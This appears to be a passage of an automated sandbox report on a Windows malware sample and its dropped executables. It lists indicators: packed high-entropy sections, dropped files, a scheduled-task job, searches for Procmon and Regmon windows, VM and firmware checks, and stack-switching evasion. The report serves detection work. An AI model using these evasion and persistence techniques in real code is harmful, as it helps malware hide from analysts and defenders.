Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: fba63623fe.exe, 00000007.00000002.2802395528.00000000053F0000.00000004.08000000.00040000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 9faa981582.exe, 0000000D.00000003.2898992206.0000000005990000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2899399364.0000000005BB0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909561070.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909776212.0000000005300000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 9faa981582.exe, 0000000D.00000003.2897836469.0000000005990000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2897996672.0000000005B80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2907940320.00000000052D0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2907662201.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 9faa981582.exe, 0000000D.00000003.2898251695.0000000005990000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2898393225.0000000005B30000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2908957470.0000000005280000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2908468465.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 9faa981582.exe, 0000000D.00000003.2897836469.0000000005990000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2897996672.0000000005B80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2907940320.00000000052D0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2907662201.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 9faa981582.exe, 0000000D.00000003.2898251695.0000000005990000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2898393225.0000000005B30000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2908957470.0000000005280000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2908468465.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: fba63623fe.exe, 00000007.00000002.2799364968.0000000002C70000.00000004.08000000.00040000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 9faa981582.exe, 0000000D.00000003.2898755620.0000000005AB0000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2898679453.0000000005990000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909317151.0000000005160000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909206776.0000000002F40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 9faa981582.exe, 0000000D.00000003.2898992206.0000000005990000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2899399364.0000000005BB0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909561070.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909776212.0000000005300000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.110000.0.unpack :EW;.rsrc:W;.idata :W;mosleulr:EW;nfmzxgpu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mosleulr:EW;nfmzxgpu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.b80000.0.unpack :EW;.rsrc:W;.idata :W;mosleulr:EW;nfmzxgpu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mosleulr:EW;nfmzxgpu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.b80000.0.unpack :EW;.rsrc:W;.idata :W;mosleulr:EW;nfmzxgpu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mosleulr:EW;nfmzxgpu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.b80000.0.unpack :EW;.rsrc:W;.idata :W;mosleulr:EW;nfmzxgpu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mosleulr:EW;nfmzxgpu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Unpacked PE file: 13.2.9faa981582.exe.430000.0.unpack :EW;.rsrc:W;.idata :W; :EW;odqdzvii:EW;mkfcubxc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;odqdzvii:EW;mkfcubxc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Unpacked PE file: 29.2.40e7dddffe.exe.e90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;liphicak:EW;gjmnxrkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;liphicak:EW;gjmnxrkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Unpacked PE file: 30.2.12379a76ea.exe.5d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vkhwstep:EW;lvdrqtey:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vkhwstep:EW;lvdrqtey:EW;.taggant:EW;

Source: random[1].exe.6.dr

Static PE information: 0xF456CF88 [Wed Nov 25 22:45:28 2099 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x1c55cd should be: 0x1bf355
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: 40e7dddffe.exe.6.dr	Static PE information: real checksum: 0x4444dd should be: 0x441324
Source: fba63623fe.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: 12379a76ea.exe.6.dr	Static PE information: real checksum: 0x1c55cd should be: 0x1bf355
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 9faa981582.exe.6.dr	Static PE information: real checksum: 0x1e7fc8 should be: 0x1e63e5
Source: file.exe	Static PE information: real checksum: 0x2eea9c should be: 0x2f4782
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2eea9c should be: 0x2f4782
Source: 37179ed0b8.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1e7fc8 should be: 0x1e63e5
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x4444dd should be: 0x441324
Source: 9267e9145a.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: mosleulr
Source: file.exe	Static PE information: section name: nfmzxgpu
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: mosleulr
Source: skotes.exe.0.dr	Static PE information: section name: nfmzxgpu
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: liphicak
Source: random[2].exe.6.dr	Static PE information: section name: gjmnxrkj
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 40e7dddffe.exe.6.dr	Static PE information: section name:
Source: 40e7dddffe.exe.6.dr	Static PE information: section name: .idata
Source: 40e7dddffe.exe.6.dr	Static PE information: section name:
Source: 40e7dddffe.exe.6.dr	Static PE information: section name: liphicak
Source: 40e7dddffe.exe.6.dr	Static PE information: section name: gjmnxrkj
Source: 40e7dddffe.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: vkhwstep
Source: random[2].exe0.6.dr	Static PE information: section name: lvdrqtey
Source: random[2].exe0.6.dr	Static PE information: section name: .taggant
Source: 12379a76ea.exe.6.dr	Static PE information: section name:
Source: 12379a76ea.exe.6.dr	Static PE information: section name: .idata
Source: 12379a76ea.exe.6.dr	Static PE information: section name:
Source: 12379a76ea.exe.6.dr	Static PE information: section name: vkhwstep
Source: 12379a76ea.exe.6.dr	Static PE information: section name: lvdrqtey
Source: 12379a76ea.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: odqdzvii
Source: random[1].exe0.6.dr	Static PE information: section name: mkfcubxc
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 9faa981582.exe.6.dr	Static PE information: section name:
Source: 9faa981582.exe.6.dr	Static PE information: section name: .idata
Source: 9faa981582.exe.6.dr	Static PE information: section name:
Source: 9faa981582.exe.6.dr	Static PE information: section name: odqdzvii
Source: 9faa981582.exe.6.dr	Static PE information: section name: mkfcubxc
Source: 9faa981582.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012D91C push ecx; ret	0_2_0012D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00121359 push es; ret	0_2_0012135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B9D91C push ecx; ret	2_2_00B9D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B9D91C push ecx; ret	3_2_00B9D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BD01B7 push cs; iretd	6_2_00BD01BA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BD01B3 push cs; iretd	6_2_00BD01B6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B9D91C push ecx; ret	6_2_00B9D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B9DFC6 push ecx; ret	6_2_00B9DFD9
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C34A77 push ds; ret	7_2_02C34A8A
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C34A2F push ds; ret	7_2_02C34A3E
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C34BDB push ss; ret	7_2_02C34BFA
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C34B5B push cs; ret	7_2_02C34B72
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C34863 push es; ret	7_2_02C3486A
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C3487F push ds; ret	7_2_02C34882
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C34C2F push ss; ret	7_2_02C34C36
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C331A7 push ebx; iretd	7_2_02C331B8
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C349AB push cs; ret	7_2_02C349BA
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C33DAF push eax; ret	7_2_02C33DBB
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C34943 push cs; ret	7_2_02C3494A
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C34967 push cs; ret	7_2_02C34972
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 7_2_02C3492F push cs; ret	7_2_02C34932
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043D810 push eax; mov dword ptr [esp], 707F7E0Dh	12_2_0043D812
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_00443469 push ebp; iretd	12_2_0044346C
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0044366E push 9F00CD97h; ret	12_2_004436B1
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_0043AE30 push eax; mov dword ptr [esp], 1D1E1F10h	12_2_0043AE3E
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 12_2_004477A5 push ebp; iretd	12_2_004477AA

Source: file.exe	Static PE information: section name: entropy: 7.980619679218189
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.980619679218189
Source: random[2].exe.6.dr	Static PE information: section name: liphicak entropy: 7.954577723872195
Source: 40e7dddffe.exe.6.dr	Static PE information: section name: liphicak entropy: 7.954577723872195
Source: random[2].exe0.6.dr	Static PE information: section name: entropy: 7.980853938334159
Source: random[2].exe0.6.dr	Static PE information: section name: vkhwstep entropy: 7.954285883329528
Source: 12379a76ea.exe.6.dr	Static PE information: section name: entropy: 7.980853938334159
Source: 12379a76ea.exe.6.dr	Static PE information: section name: vkhwstep entropy: 7.954285883329528
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.978550473996592
Source: random[1].exe0.6.dr	Static PE information: section name: odqdzvii entropy: 7.952759524786058
Source: 9faa981582.exe.6.dr	Static PE information: section name: entropy: 7.978550473996592
Source: 9faa981582.exe.6.dr	Static PE information: section name: odqdzvii entropy: 7.952759524786058

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\SysWOW64\svchost.exe

Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Jump to behavior

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_6-37834
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-9744

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	System information queried: FirmwareTableInformation

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	API/Special instruction interceptor: Address: 7FF8C88ED044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FF8C88ED044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

